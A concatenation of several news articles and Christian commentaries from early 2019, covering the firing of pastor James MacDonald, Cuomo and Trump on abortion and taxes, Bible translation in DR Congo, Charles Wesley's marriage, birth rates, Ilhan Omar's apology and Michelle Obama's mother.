"A church is in shambles. Evangelicals are publicly embarrassed  again. And more men remain in positions of influence who have done reprehensible things," she added, urging Christians to seek God, repent, and pray for revival.

Before the publication of Roys' investigation in World, the church sued her as well as two former members, along with their wives, who had been writing critically of HBC and MacDonald since 2012 on a blog called The Elephant's Debt. The church said both Roys and the Elephant's Debt bloggers had broken the law and had spread misinformation about them. But HBC dropped the lawsuit in January after a judge denied the church two motions in order to keep documents subpoenaed in the case private.

In a Wednesday statement, the Elephant's Debt bloggers expressed both sorrow for HBC members and gratitude for those who had helped uncover the problems at the church and with MacDonald.

"Over the past several weeks, Mr. Muller has displayed a courage that is often profoundly lacking in the evangelical community; and we will always be appreciative of the true leadership he provided in this era," the ED bloggers wrote.

"We recognize that many people at Harvest Bible Chapel are hurting today. And we are hoping and praying for better days ahead for your community."Gov. Cuomo claims Trump wants to roll back Roe v. Wade after meeting on late-term abortion

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New Yorks Democrat Gov. Andrew Cuomo claims President Trump wants to roll back the 1973 Roe v. Wade Supreme Court decision after a closed door meeting at the White House Tuesday evening in which the two discussed taxes and Cuomos support of late-term abortion.

The president raised his concerns to Governor Cuomo about Democrats support of late term abortions, Deputy Press Secretary Judd Deere said in a statement cited by the Daily Caller after the meeting.

Deere further noted that Trump and Cuomo also discussed the positive impacts of the Tax Cuts and Jobs Act on the American economy, and the president listened to the governors concerns regarding SALT. The president reiterated the negative impact that high taxes in states like New York have on hardworking families and job creators.

Responding to a question about Deeres statement on the meeting, Cuomo said in an interview with WCBS 880 that following their meeting the administration feels "constrained to reiterate their divisions with the Democrats."

"And he's right." Cuomo said. "He wants to roll back Roe v. Wade which is a Supreme Court case that guarantees a woman's right to choose. Take us back to a time when women couldn't get an abortion legally."

Abortion rights advocates have been bracing for a potential rollback of the Roe v. Wade decision which some have said would trigger bans on abortion in as many as 22 states.

But Pro-Life Action League Executive Director Eric J. Scheidler has dismissed that claim as fearmongering.

"At most, only a couple of states with extremely conservative legislatures might even attempt something like a total ban on abortion," Scheidler said in a previous interview with The Christian Post.

"[It's] far more likely that states would seek to further restrict abortion, in line with the view of most Americans, with measures like banning late-term abortion and holding abortion facilities to the highest health and safety standards," he added.

In a controversial move that captured national headlines and the attention of the president, on Jan. 22 Cuomo signed the Reproductive Health Act, which in New York state allows abortion up to birth for any reason that threatens a womans mental or physical health. It also removed abortion from the state's criminal code.

In his State of the Union speech last Tuesday, Trump called out lawmakers in New York and Virginia, which tabled a proposal to New Yorks RHA, for their support of late-term abortion and urged Congress to enact a law against the practice.

There could be no greater contrast to the beautiful image of a mother holding her infant child than the chilling displays our nation saw in recent days. Lawmakers in New York cheered with delight upon the passage of legislation that would allow a baby to be ripped from the mother's womb moments before birth, the president said.

These are living, feeling, beautiful babies who will never get the chance to share their love and dreams with the world," Trump continued. "And then, we had the case of the governor of Virginia where he stated he would execute a baby after birth. To defend the dignity of every person, I am asking Congress to pass legislation to prohibit the late-term abortion of children who can feel pain in the mother's womb. Let us work together to build a culture that cherishes innocent life. And let us reaffirm a fundamental truth  all children  born and unborn are made in the holy image of God.

In discussing the $10,000 cap on federal deductions for state and local taxes included in Trumps 2017 Tax Cuts and Jobs Act, Cuomo also argued that it created a tax increase for New Yorkers.

It is a critical issue for New York state because it's essentially a tax increase on New Yorkers. And remember, New York already pays more to the federal government than any state in the United States of America. We subsidize almost every other state, Cuomo claimed. But according to the website Money Rates, New York comes in at No. 4 among a list of states that pay the most federal taxes.

"Cuomo is blaming the states $2.3 billion budget shortfall on a political party that doesnt run the place," The Wall Street Journal's editorial board wrote Monday. "He says the state is suffering from declining tax receipts because the GOP Congress as part of tax reform in 2017 limited the state-and-local tax deduction to $10,000."

What it does is it has created two different tax structures in this country, Mr. Cuomo lamented Monday. And it has created a preferential tax structure in Republican states. It has redistributed wealth in this nation from Democratic states to red states.

But, "in reality," WSJ adds, "the once unlimited deduction allowed those in high tax climes to mitigate the pain of state taxes. It amounted to a subsidy for progressive policies."

Last summer, New York, Connecticut, Maryland and New Jersey, sued the federal government to void the $10,000 cap on federal deductions for state and local taxes.

I told the president myself today: SALT repeal is hurting us. And if you hurt New York, youre harming the economic engine of the nation, Cuomo said in a tweet Tuesday evening.

WSJ's editorial board added: "Taxpayers can still write off $10,000, which means those with modest means are spared a tax increase. The Tax Foundation reported last month that repealing the cap would 'almost exclusively provide tax relief to the top 20 percent of income earners, the largest tax cut going to the top 1 percent of earners.' The government would lose $600 billion over 10 years.

"This must be the first time in years that a Democrat has said the government needs less money, or that the rich need a tax cut."Bible Translation Project to Launch in Dangerous DR Congo Where People Are 'Hunted Like Animals'

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One of the leading Bible translation organizations in the world has said that it will be launching projects in the Democratic Republic of the Congo, one of the most dangerous nations in the world where people have been subjected to shocking forms of violence.

"It grabs at my throat to think about what the people have gone through in the DRC," said Bruce Smith, president and CEO of Wycliffe Associates, in a statement on Monday.

"Generations of tribal violence ... people hunted like animals ... torture, mutilation, kidnapping, executions ... fear and anger and utter, total despair that anything can ever be different."

Wycliffe Associates is getting ready to help translate the Bible into 69 new languages in the DRC, using its pioneering Mobilized Assistance Supporting Translation method.

As Smith noted, the organization and its partners will be interacting with a nation that has faced decades of tribal violence and civil war. The group has already seen positive signs, with rival tribes gathering for a Bible training workshop.

"Many doubted it could work," Smith added. "But as they encountered God's Word in the language of their hearts for the very first time, the reality of God's love overwhelmed them. The wars between them  and the wars within them  were over."

The MAST method has been effective as it allows local people to do the translation themselves, after being given the proper training and resources.

Wycliffe Associates, which in 2017 launched 346 new language projects worldwide, said that the DRC presents a big task, as there are over 200 language groups in the country.

"Once the translators begin, our MAST strategy will enable Bible translators to accomplish in months what used to take decades," Smith explained.

As the organization outlines, it is working "as quickly as it can to see every verse of God's Word translated into every tongue to speak to every heart."

Catholic relief groups, such as Caritas Congo, warned in February that as many as 3 million people are in urgent need of help in the Kasai region in the country, including 400,000 children who are suffering severe acute malnutrition.

Christians have suffered at the hands of ethnic and political violence, with one widow named Denise Ndekenya, who had five children with her husband, sharing her harrowing story with Caritas.

"Now I only have two children left," the woman said, adding that her husband was beheaded by militia men in April 2017.

Juliette Maquart of Caritas Belgium said people have "lost absolutely everything," and children are being forced to fight for the militias.

"Their homes don't exist anymore, they have been looted and burned, along with clinics and schools," Maquart said at the time.

Zeid Ra'ad al Hussein, the U.N. High Commissioner for Human Rights, shared reports from the region last year, saying: "Refugees from multiple villages in the Kamonya territory indicated that the Bana Mura have in the past two months shot dead, hacked or burned to death and mutilated hundreds of villagers, as well as destroying entire villages. One 2-month-old baby seen by my team had been hit by two bullets four hours after birth; the mother was also wounded. At least two pregnant women were sliced open and their fetuses mutilated."This week in Christian history: AME founder, notable female preacher, first black speaker before Congress

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Christianity is a faith with a long and detailed history, with numerous events of lasting significance occurring throughout the ages.

Each week brings the anniversaries of great milestones, horrid tragedies, amazing triumphs, telling tribulations, inspirational progress, and everything in between.

Here are just a few things that happened this week, Feb. 10-16, in Church history. They include the birth of a notable African-American preacher, the birth of founder of the African Methodist Episcopal Church, and the first time an African-American addressed Congress.In the midst of efforts to reconcile with longtime critics, Harvest Bible Chapel fired its founder and senior pastor James MacDonald for engaging in conduct  contrary and harmful to the best interests of the church.

Harvest elders announced this morning that they were forced to take immediate action on Tuesday to end his 30-year tenure.

Following a lengthy season of review, reflection, and prayerful discussion, the Elders of Harvest Bible Chapel had determined that Pastor MacDonald should be removed from his role of Senior Pastor. That timeline accelerated, when on Tuesday morning highly inappropriate recorded comments made by Pastor MacDonald were given to media and reported, they wrote.

This decision was made with heavy hearts and much time spent in earnest prayer, followed by input from various trusted outside advisors.

MacDonald took an indefinite sabbatical in January, following a tumultuous few months defending Harvest in a defamation lawsuit against its critics and in the aftermath of a World magazine investigation into mismanagement at the church.

The public scrutiny continued with pushback against MacDonalds decision to preach at a Harvest affiliate in Florida during his sabbatical. Then, a famous friend of his, Chicago shock jock Mancow Muller, spoke out in a local newspaper against the manipulation and ego he observed around MacDonalds cult of personality at Harvest. On his radio show, Muller later aired what sounded like clips of MacDonald making harsh comments toward media who had covered the story.

Now, the church has decided its longtime leader wont be coming back.

Muller had prematurely announced the pastors departure on Friday morning on his show on WLS 890 AM, going on to declare on Twitter, Conman Boss James Macdonald OUT of Harvest Church!

The news came less than a week after another update from Julie Roys, a defendant in the lawsuit and the writer responsible for the World investigation, who has continued to release evidence against MacDonald and call for his resignation.

While I am heartened that the elders finally removed MacDonald, he should have been fired five years ago. Thats when eight former elders sent a letter to the sitting elder board, warning them that MacDonald was disqualified for office, she said in a response posted Wednesday.

Though MacDonald initially opted to step away from all preaching and leadership roles at the churchs Chicago-area locations, in his January 16 sabbatical announcement he suggested he might still preach at a Harvest congregation in Naples, Florida, which led to another saga.

The leader of that church, John Secrest, was blindsided by the news and asked Harvest elders to reconsider allowing MacDonald to preach there. He ultimately requested that Harvest Naples be released from its relationship with the megachurch. Then, he was fired, according to the Daily Herald, a suburban Chicago newspaper.

Secrest, who founded the church in 2016 and affiliated with Harvest last September, said he didnt know at the time about the ongoing concerns raised about MacDonalds leadership and the churchs financial status, which led to Harvests lawsuit last year. The good intentions of our ministry partnership with Harvest Chicago have been overshadowed by these developments, he said.

Even before the 58-year-old pastors sabbatical, MacDonalds role at Harvest had shifted. At the start of the year, elders stated that his primary focus has transitioned from building our ministries to securing a healthy succession that sets all our ministries up to flourish in the next generation.

Two years ago, MacDonald moved away from overseeing the Harvest Bible Fellowship, a global network of churches, which eventually separated from Harvest completely to form the Great Commission Collective (GCC).

The former Harvest Bible Fellowship leaders now at GCCwhich contains about 130 churches, more than half of which still have Harvest in their namesshare concerns about the churchs leadership and are looking for transparency and repentance from MacDonald.

In keeping with our past private statements to Harvests leadership and to our pastorsThe primary issue is not reconciliation or peacemaking, it is repentance, GCC elders said in a January 17 statement.

A peacemaking process, while helpful for personal and relational reconciliation, is not the approach to address failed governance, biblical disqualification, and a toxic leadership environment.

Muller, who has attended Harvest for five years and developed a friendship with MacDonald, wrote in a Daily Herald op-ed that hed seen the best the church had to offer: MacDonalds punchy sermons renewed Mullers faith, brought his family back into Christian community, and taught him the truth of the gospel.

However, he ultimately agreed with the wave of backlash his pastor-friend now faced, condemning how MacDonalds drama had overshadowed Harvest and threatening a class-action lawsuit yesterday if MacDonald remained its pastor for another week.

Pray for those of us who donate 10 percent of our income and would like to know where the money really goes. Pray for those outside the faith who will never come to salvation because of how this appears to them, Muller wrote in his op-ed. For a great many, it's time for the cult of personality of James MacDonald at Harvest chapter to close and the actual Bible to be opened again.

Today on his edgy radio show, Muller said while he felt MacDonalds firing had to happen, he also had wanted nothing to do with any of it and now my part is done.

I feel like God was using me in this, he said. I hope it doesnt chase people away from their spiritual questaway from God.

I take no joy in this announcement, said Muller. But I hope the healing can begin, and I hope the abuse will stop.

Roys also lamented the fallout of todays news.

Lastly, we need to comfort hurting today, she wrote. I know many people who attend Harvest or who have been impacted by MacDonalds preaching are crushed today. As one person whom MacDonald led to the Lord remarked to me, Its like finding out your wife is a serial killer. The disillusionment, betrayal, and loss can be excruciating. This is a very vulnerable time for a lot of people and I am sure God weeps for every single wounded soul.

Harvest numbers 13,000 attendees across seven locations, and the church began affiliating with the Southern Baptist Convention in 2015. In addition to leading Harvest, MacDonald acquired a massive evangelical following through his books, Bible studies, and Walk in the Word radio program, with more than a million fans on Facebook.

In announcing MacDonalds termination, Harvest elders stated they are committed to fulfilling our fiduciary duty as the leadership of this congregation, knowing that at times the outcome may be misunderstood or emotionally painful.  We sincerely thank you for your prayers, your support, and your patience as we work together to restore a trust in leadership, a humility to surrender to biblical authority, and a firm resolve to move forward as a church family.Christians love to talk about marriage and babies, and sometimes even sex. But our earthly lovesthe intimacy of bodies built on friendship and romantic affectionare so often described as little more than a physical means to a spiritual end. When we compare our earthly loves to eternity, the significance of embodied life seems little more than a temporary good, paling in comparison to the glories of a future hope.

Still more confusing, consider those puzzling words of Jesus on the hallowed institution: At the resurrection people will neither marry nor be given in marriage; they will be like the angels in heaven (Matt. 22:30).

Is there any good in romantic love? The great Methodist preacher Charles Wesleyin a little-known letter to his wifeprovides a fresh reminder of the power of romantic affection to shape us for good both here and in the hereafter.

The Lesser Wesley

Accounts of the great evangelical revival of the 18th century often neglect the life and thought of Charles Wesley (17071788). He wrote well over 7,000 hymns, but his older brother John has almost always been honored as the greater of the two men. Even as a child, Charles tended to be sickly, and illness plagued him for much of his life.

Yet Charles was raised in the same home as his brother John, listening to their father, Samuel Wesley Sr., preach in the Epworth church in Lincolnshire, England. Charles, likewise, learned under the tutelage of their assiduous mother, Susanna, who guided the children in their earliest years and taught them the basics of Christian belief and practice.

At Oxford, Charles was initially rather indifferent to matters of faith. After a year of study, however, he recognized the need to set new patterns. Charles began to take the religious life more seriously, celebrated the Lords Supper weekly, and convinced a few of his friends to accompany him in the process.

These newly acquired habits garnered the attention of fellow students, and they began to call Charles and his circle of friends Methodists derisively for their devotion. If the origins of Methodism can be traced back to Charles Wesley, then the inspiration for their Holy Club was love of God expressed in friendship with others.

Charles welcomed his brother John into the group and encouraged him to help administer it when he returned to Oxford as a fellow. Make no mistake: Johns administrative skill proved essential to the growth of what quickly blossomed into a movement, first in Britain and then around the world. In those early days at Oxford, their small group began to study classics of Western spirituality by Thomas a Kempis, Jeremy Taylor, William Law, and Henry Scougal.

When John suggested that the brothers serve as missionaries in Georgia across the Atlantic, Charles agreed, was quickly ordained, and set out with John across the ocean for Georgia. But life in Georgia proved far more challenging than either of the Wesleys expected. Charless health failed, while John attempted to impose a rigid discipline (and experienced a bad breakup with a young lady in Savannah to boot). Soon, the brothers sheepishly returned to London with considerable doubts about their own faith.

Converted by Love

John Wesleys subsequent conversion at Aldersgate Street in London is well known, but fewer realize that Charles experienced his own heart strangely warmed experience only a few days before. On Pentecost Sunday (Whitsunday), May 21, 1738, Charles attained what might alternately be called a deepening of faith, a new birth, and an assurance of Gods love that helped launch one of the great revivals in modern Christianity.

As he lay sick in bed, Charles experienced what he described as a new Pentecost. He heard the voice of a woman, calling out to him: In the name of Jesus of Nazareth, arise, and believe, and thou shalt be healed of all thy infirmities. Charles records in his journal: The words struck me to the heart. In a moment, Charles, with strange palpitation of heart, declared I believe, I believe!

Three days before John Wesleys Aldersgate experience, Charles beat John to the punch. He came to recognize the love of God in the presence of the Spirit, dispelling the darkness of doubt from his heart. The event was so moving that he later memorialized the day in one of the great hymns in Christian history, For the Anniversary Day of Ones Conversion, more popularly known as O for a Thousand Tongues to Sing.

In fact, the hymns of Charles Wesley are replete with references to love. At Easter, Christians around the world repeat the words of his most famous composition, Christ the Lord is Risen Today, and declare Loves redeeming work is done, Alleluia! Elsewhere Charles praises Love divine, all loves excelling and honors Gods great and universal love.

Charles believed that love was at the heart of the gospel. While his brother caused controversy for teaching that perfect love could be known in an instantaneous blessing, Charles emphasized the gradual process whereby a Christian grows in a pilgrimage of faith.

For Charles, the new birth initiated a journey. According to his leading biographer, John Tyson, Charles Wesley looked for the complete realization of perfect love at the end of a life lived from grace to grace through suffering.

Charles and Sally

The brothers soon launched into ministry together. Methodism spread rapidly, particularly in the industrial areas of England where the Church of England seemed unable to respond to rapidly growing communities. At the urging of their friend, the fellow Methodist George Whitefield, the two took up open-air preaching and soon discovered crowds of listeners in the thousands.

Still, Charles longed for more. He was friendly by nature and personable. While some thought John too rigid, Charles always had an expressive and passionate character that complemented his brother. His friendship with Sarah Sally Gwynne, whom Charles had met during ministry in Wales, soon flowered with the prospect of romance.

Friendship served as the basis of their relationship: Charles and Sally remained little more than friends for a year and a half before any signs of deepening affection appear in his journals. Surviving on the income of a writer and traveling minister was a grim prospect, and Sally was 18 years his junior, so the already rigid social obligations of a proposal for marriage were made even more complicated than they might have been.

Sallys mother insisted that Charles prove his ability to support her daughter, though establishing an income of 100 pounds a year was no small feat. Eventually, with the publication of a new hymnal, the support of his brother, and the timely intervention of another pastor, the Gwynnes agreed to the match.

Charles and Sally were married on April 8, 1749. His journal records the idyllic details of the scene: Not a cloud was to be seen from morning to night. They arose early, spent more than three hours in prayer and singing, and proceeded to the church.

At the threshold, the pair recalled the bitter prophecy of a jealous associatethe two would be unable to cross the door of the church that morning. Charles and Sally looked at one another and smiled. We got farther, he knowingly records. Sallys father gave his blessing, and John joined their hands, It was a most solemn season of love!

Charles seemed to understand that such a joyous celebration of love could not be fully appreciated by a stranger. For him, the wedding was among the most powerful experiences of Gods presenceno less than the heights of grace in celebrating the Lords Supper. Yet when one man passed by the church, he only commented that the scene looked more reminiscent of a funeral than a wedding. Their friends knew better.

Abiding in Love

The letters shared between Charles and Sally, while often discreet, reveal a tender and romantic love that shaped the teachings of the Wesleys and the Methodist movement broadly. No leap of faith is required to see how the love he knew in marriage contributed to his understanding of the love of God.

From the beginning of their relationship, Charles closely identifies trust with love, as when he asked in the loving openness of his heart if Sally could trust her life to his care. Her answer, with a noble simplicity, was only she could. Elsewhere, signs of their abiding affection are discernable in brief references of mutual concern or in the tantalizing record of one entry: Every evening we retired to pray together, and our Lords presence made it a little church.

One little-noticed letter stands out for a remarkable statement that ties the deep affection Charles had for Sally with his own awareness of Gods grace. Dated Whitsunday, 1760, Charless letter begins with a recollection of the work of Gods grace so many years earlier, his Day of Pentecost:

My dearest Sally,This I once called the anniversary of my conversion. Just twenty-two years ago I thought I received the first grain of faith. But what does that avail me, if I have not the Spirit now?

The letter provides a reminder that Charles still looked to the past for signs of Gods work in his life. Yet the experience of faith so many years before, while still remembered, remains only a memorial without an ongoing awareness of Gods presence in life each day. Then Charles inscribed what must surely be regarded as among the most romantic statements ever penned to a lover:

Eleven years ago He gave me another token of His love, in my beloved friend; and surely He never meant us to part on the other side of time. His design in uniting us here was, that we should continue one to all eternity.

Charles Wesley, as with his brother John, rejected a severe fatalism they perceived in Calvinist predestination, yet here he offers a sign of affection so great that he cannot imagine life, even in the resurrection, apart from Sally. His wife, partner, and friend had come to serve as a means of gracean ordinary channel of Gods generous and loving presence in his life.

Embodied Life

Even if we didnt know anything about their personal lives, Charless hymns offer clues to the ways that marriage shaped him. Strikingly, for all their love, Charles and Sally were no strangers to suffering.

In his Hymns for the Use of Families (1767), Charless compositions reveal how marriage and family brought intimate acquaintance with the joys and griefs of embodied life. There are numerous hymns devoted to the theme of love but also occasional verses with prayers of thanksgiving or sorrow over ordinary cares.

A series of touching compositions relate to pregnancy and the approaching pains of labor and delivery, and while some hymns celebrate the safe delivery of a child, others relate to sickness and death. In a most affecting hymn, Charles mourns the death of their second child, Martha Maria Wesley, in juxtaposing One sad moment of fruitless woe with the Love, which every want supplies, / Love of one that never dies.

Amid all these joys and griefs, Charles celebrated the love he found in Sally. Even in the sorrows that accompanied marriage and family, he found himself drawing closer and closer to the love of God. He didnt feel the need to qualify his love for Sally as a secondary good, a shadow of the love he had experienced on that great Day of Pentecost. Instead, he recognized in this most romantic love something of the profound mystery that would bind them to one another even in the new creation.

In this, Charles Wesley confessed a profound truth of Christian faithone that is too often forgotten in our desire to set aside the cares of this world: Our bodies are not meant to be discarded as refuse, sloughed off in favor of some disembodied life in the Spirit, but renewed and glorified in the perfecting love of God.

Of course, romantic love often fails to match such flights of affection as Charles and Sally Wesley discovered in one another. Unrequited love may bring profound heartache. Partners grow sick and die. Others face the cruel reality of affections misdirected to another. Sometimes the weight of suffering hinders the necessary mutuality of friendship and the willingness to press on in the journey together.

Indeed, some may choose to sacrifice romantic love entirely for a life of celibacy, choosing to direct such energy into friendships and service for the good of the community. Love is complicated, to be sure, and loneliness and shame may heighten our disillusionment with declarations of its potential for lasting joy.

Still, these examples of loves frailty ought not diminish the potential for good in romantic affection. In attending to the love of another in this worldwhether in the tender care for another person in loving acts of romantic mutuality or in nurturing a lover in times of pain, grief, and sicknesswe embody the love of God.

The story of Charles Wesley reminds us that the goods of friendship and romantic affection are no passing fancies to be discarded in favor of a future disembodied life. Love is part and parcel of the promise of our total salvation. In the warm embrace of another, I come to know the love of God, on earth as it is in heaven.

Jeffrey W. Barbeau is professor of theology at Wheaton College. His latest book, The Spirit of Methodism: From the Wesleys to a Global Communion, will be published this summer with InterVarsity Press.Why Was a Newborn Baby in a Storm Drain? Share Tweet

The good news: A newborn baby was pulled from a storm drain in South Africa on Monday. Emergency responders heard a baby crying from deep inside the concrete structure. After working four hours to dig up the area and chisel into the drain, they were able to rescue the baby.

The bad news: according to the Associated Press, paramedics say it is unclear why the baby was dumped and . . . police are investigating.

The good news: Smithsonian Magazine reports that Southern California will soon see another booming superbloom. If rains continue, the desert landscape will come alive with blossoming wild poppies, verbena, lilies, primroses, prickly pear, and dozens of other species of ephemeral native spring wildflowers. Rare species that only bloom every few years or decades may appear.

The bad news: the superbloom will result from recent, massive wildfires that created the heat and smoke necessary for the flowers to germinate.

The good news: tomorrow is Valentines Day, a wonderful day of celebration with those we love.

The bad news: tomorrow is Valentines Day, a difficult day of grief for those who have lost someone they love.

A day Ill never forget

This week, weve been discussing the painful issue of innocent suffering. From clergy abuse scandals to natural disasters and diseases, such suffering makes the news every day. Judging by the response of our readers, this is an issue that resonates deeply with us all.

On Monday, we prayed for victims of clergy sexual abuse. Yesterday, we focused on ways God can redeem our suffering as we trust him in hard places.

Today, Id like us to consider one of the most significant yet overlooked ways our Lord helps those who hurt.

When my father died ten days before Christmas during my senior year of college, a friend from school drove across town the next day and spent the day with me. He didnt offer advice or theological wisdom. He was just there. Ill never forget his presence.

When my brother and I first came back to school after Dads funeral, a friend who had lost her father and older sister put her arms around us and said, Time helps. It doesnt heal, but it helps. Ill never forget her compassion.

You are the body of Christ

Scripture says of Jesus followers, You are the body of Christ and individually members of it (1 Corinthians 12:27). Gods word means this statement, not figuratively or metaphorically, but literally. The people of God are the visible and physical manifestation of Jesus continued earthly ministry. We are his hands and feet, his presence in our fallen world.

This is why we are told to love our neighbor as ourselves (Matthew 22:39), to do good and to share what you have (Hebrews 13:16), and to bear one anothers burdens, and so fulfill the law of Christ (Galatians 6:2).

As we incarnate the body of Jesus by serving those who hurt, we serve Jesus. He is present in their pain, their need, their loneliness and despair. His promise is clear: As you did it to one of the least of these my brothers, you did it to me (Matthew 25:40).

However, two temptations make it difficult for us to be the hands of Jesus to a hurting world.

One: Divorcing faith from life

Craig Denison: Weve separated Christianity from the world. Weve separated Sunday from Monday, the sacred and secular. Jesus lived in line with Gods love every minute he was here. He broke the rules in healing on the Sabbath. He ministered almost completely outside of the walls of the synagogue. He brought the good news of Gods grace to all who would believe everywhere he went.

His life was in no way segregated. Jesus turning the water into wine at a party was just as holy and spiritual as his reading of Isaiah in the temple, proclaiming his fulfillment of the prophecy regarding the Messiah. His love was put into perfect action through every word, miracle, step, glance, and prayer.

Our culture measures spirituality by what we do on Sunday. God measures what we do on Sunday by what we do on Monday. Which is true for you?

Two: Trying to serve in our strength rather than Gods power

Henri Nouwen: When we know that God loves us deeply and will always go on loving us, whoever we are and whatever we do, it becomes possible to expect no more of our fellow men and women than they are able to give, to forgive them generously when they have offended us, and always to respond to their hostility with love. By doing so we make visible a new way of being human and a new way of responding to our worlds problems.

Compassion without the Spirit is a prescription for burnout. We love because he first loved us (1 John 4:19), sharing what we have received. When last did Jesus love change your life? When last did it change someone else through you?

I see Jesus in every human being.

Mother Teresa is one of the most venerated people in the world.

Her native country of Albania named their international airport for her and celebrates her life every year on October 19. Universities, churches, cathedrals, roads, and a railroad have been named for her.

The United Nations General Assembly designated September 5, the date of her death, as the International Day of Charity. The order she founded, Missionaries of Charity, today includes more than five thousand sisters serving in 120 countries.

What explains her remarkable life and ministry?

For her, the answer was simple: I see Jesus in every human being. I say to myself, This is hungry Jesus, I must feed him. This is sick Jesus. This one has leprosy or gangrene; I must wash him and tend to him. I serve because I love Jesus.

Do you?

For more from the Denison Forum, please visit www.denisonforum.org.

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Publication Date: February 13, 2019

Photo Courtesy: Picsea/UnsplashThe Cost of Skipping Children: Life Has No Price Tag Share Tweet

The Centers for Disease Control and Prevention reported late last year that Americans arent having enough babies to replace themselves. In fact, a record one in five American women will never have children, and those who do will, on average, never exceed two. As a result, the death rate is outpacing the birth rate, which meansexcept for immigrationthe U.S. has joined many developed countries on the long, slow road of population decline.

Thats bad news. Not having enough children as a society has costs that are hard to appreciate on the individual level. We know from examples like Japan and much of Europe that aging countries become economically top-heavy, especially those that promise extensive government services to the elderly. This results in runaway aging and population decline, and negatively impacts every sector of the economy except for maybe healthcare, depending on how you look at that one. It also places heavier and heavier burdens on the shoulders of an ever-shrinking workforce of young people, which leaves them even less likely to have kids.

On a deeper level, young members of a graying society lose hope for the future, or stop planning for it altogether. In Japan, this hopelessness manifests as one of the highest rates of suicide among youth in the developed world.

To be clear, the United States is not Japan, but as Jonathan Last writes in his book, What to Expect When No Ones Expecting, theres no example in history of a shrinking society experiencing long-term prosperity.

Given the impending demographic disaster, you might think this would be the wrong time to discourage people from having children. But some are doing just that. Citing numbers from the U.S. Department of Agriculture, the website Market Watch recently warned that the cost of raising children has grown an unbelievable 40 percent since the year 2000.

According to those USDA estimates, the average American parent spends almost a quarter million dollars raising a single child, not including college expenses. This translates to huge figures for families who have four, five, or even more kids. If these numbers are correct, a minivan-sized family will spend something on the order of a million dollars just to get their children through high school.

But Im not buying those numbers, at least not totally. The USDAs estimates dont take into account things like shared living space, hand-me-down clothes, grandparents pitching in, or other common ways parents have learned to save money.

Such outlandish estimates of the cost of kids are now cited in article after article, making the case that few Americans can really afford kids. CNBC joined in recently with a piece called Heres how much money you save when you dont have kids. To make matters worse, they cited a study purporting to show parents are less happy than non-parents.

All of this bean-counting in the government and secular media comes at a moment when the thing we need most is babies. Even sadder, it coincides with one of the hardest pro-abortion legislative pushes weve seen in decades. Our culture is simply less welcoming to little lives than ever before.

And yet those of us who have kids and those who desperately long and pray to have kids know how fundamentally skewed these cost-benefit analyses are, even if their math was better. Because children are priceless, and as my friend Dr. Ben Mitchell says, anytime you put a price tag on something priceless, you cheapen it.

The question of whether kids are too expensive raises much bigger worldview questions, such as, whats the purpose of life? and whats the good life? Children arent a bucket list item, like paragliding or visiting Paris. Its an others-centered way of livinga radical statement of hope for the futurea declaration that you and I are not the center of the universe, and that the here and now is not the only thing that matters.

In a society already suffering from a birth dearth, the question isnt whether we can afford to have kids. Its whether we can afford not to.

BreakPoint is a Christian worldview ministry that seeks to build and resource a movement of Christians committed to living and defending Christian worldview in all areas of life. Begun by Chuck Colson in 1991 as a daily radio broadcast, BreakPoint provides a Christian perspective on todays news and trends via radio, interactive media, and print. Today BreakPoint commentaries, co-hosted by Eric Metaxas and John Stonestreet, air daily on more than 1,200 outlets with an estimated weekly listening audience of eight million people. Feel free to contact us at BreakPoint.org where you can read and search answers to common questions.

John Stonestreet, the host of The Point, a daily national radio program, provides thought-provoking commentaries on current events and life issues from a biblical worldview. John holds degrees from Trinity Evangelical Divinity School (IL) and Bryan College (TN), and is the co-author of Making Sense of Your World: A Biblical Worldview.

Publication date: February 13, 2019

Photo courtesy: Jessica To Oto O/UnsplashRepresentative Ilhan Omar Apologizes for Anti-Semitic Comments That Sparked Bipartisan Outrage Share Tweet

After critics say she made anti-Semitic statements, Rep. Ilhan Omar apologized early this week for her comments that Israeli groups pay the U.S. to support the country.

Anti-Semitism is real and I am grateful for Jewish allies and colleagues who are educating me on the painful history of anti-Semitic tropes, Omar said in a statement released on Twitter.

My intention is never to offend my constituents or Jewish Americans as a whole, Omar wrote, I unequivocally apologize.

Earlier in the week, House Speaker Nancy Pelosi and other Democrats demanded that the freshman representative apologize for her comments.

"Legitimate criticism of Israel's policies is protected by the values of free speech and democratic debate that the United States and Israel share," the leaders said in a joint statement. "But Congresswoman Omar's use of anti-Semitic tropes and prejudicial accusations about Israel's supporters is deeply offensive. We condemn these remarks and we call upon Congresswoman Omar to immediately apologize for these hurtful comments."

Omar was under fire after she responded to a tweet from journalist Glenn Greenwald. Greenwald had said it was stunning how much time US political leaders spend defending a foreign nation even if it means attacking free speech rights of Americans. Greenwald was referring to House Minority Leader Kevin McCarthys threat to take action against Omar and Rep. Rashida Tlaib for controversial statements they had made.

Omar replied to Greenwalds tweet, saying, Its all about the Benjamins, baby.

She later tweeted that the American Israel Public Affairs Committee is one of the groups paying American politicians

AIPAC, a nonprofit, said in a statement they do not donate to candidates and are proud that we are engaged in the democratic process to strengthen the US-Israel relationship.

"Our bipartisan efforts are reflective of American values and interests," the group's tweet continued. "We will not be deterred in any way by ill-informed and illegitimate attacks on this important work."

Photo courtesy: Getty Images/Alex Wong/StaffFormer first lady Michelle Obama kicks off her Becoming book tour | Scott Olson/Getty Images

No matter where you go in life, or what you become, most mothers will always see their daughter as their eternal little girl. That includes even becoming the first lady of the United States of America.

First Lady, Michelle Obama has been pretty candid about her relationship with her mother, Marian. Like most mothers, Marian is fiercely protective of her family and was by Michelles side throughout the eight years the Obamas were in the White House.

But what is Michelles relationship like with her mother and is Michelle or her brother Craig her favorite?

Beloved figure

Michelle and Marian sat down with CBSs Gayle King in 2018 to discuss their time in Washington D.C. Michelle told King her mother became the most beloved figure in the White House, often becoming a confidante to a number of staff members. She had a stream of people. The butlers, the housekeepers, Daily Mail recounted. They would all stop by Grandmas room was like the confessional.

Although Marian returned to her hometown of Chicago, Illinois, she keeps in touch with former staff. Michelle revealed many still visit her mother in Chicago and described her D.C. friends as family.

Marian was a constant for her granddaugthers

Michelle describes her mothers support during her White House years as a way to maintain continuity with family life. When she was traveling for business, Michelle said knowing her mother was there for her daughters was a relief.

I wanted them to come home to family.there was just parts of the girls lives that I just knew were going to be okay cause Mom was there, she said. When I traveled internationally, grandma was there. When I wasnt home at the end of the day, grandma was there.

Marian was also there to accompany the girls to school in the morning, along with Secret Service. Well, Mom would ride in the car with her to make it feel like a regular carpool, Michelle shared.

She credits her mom with her success

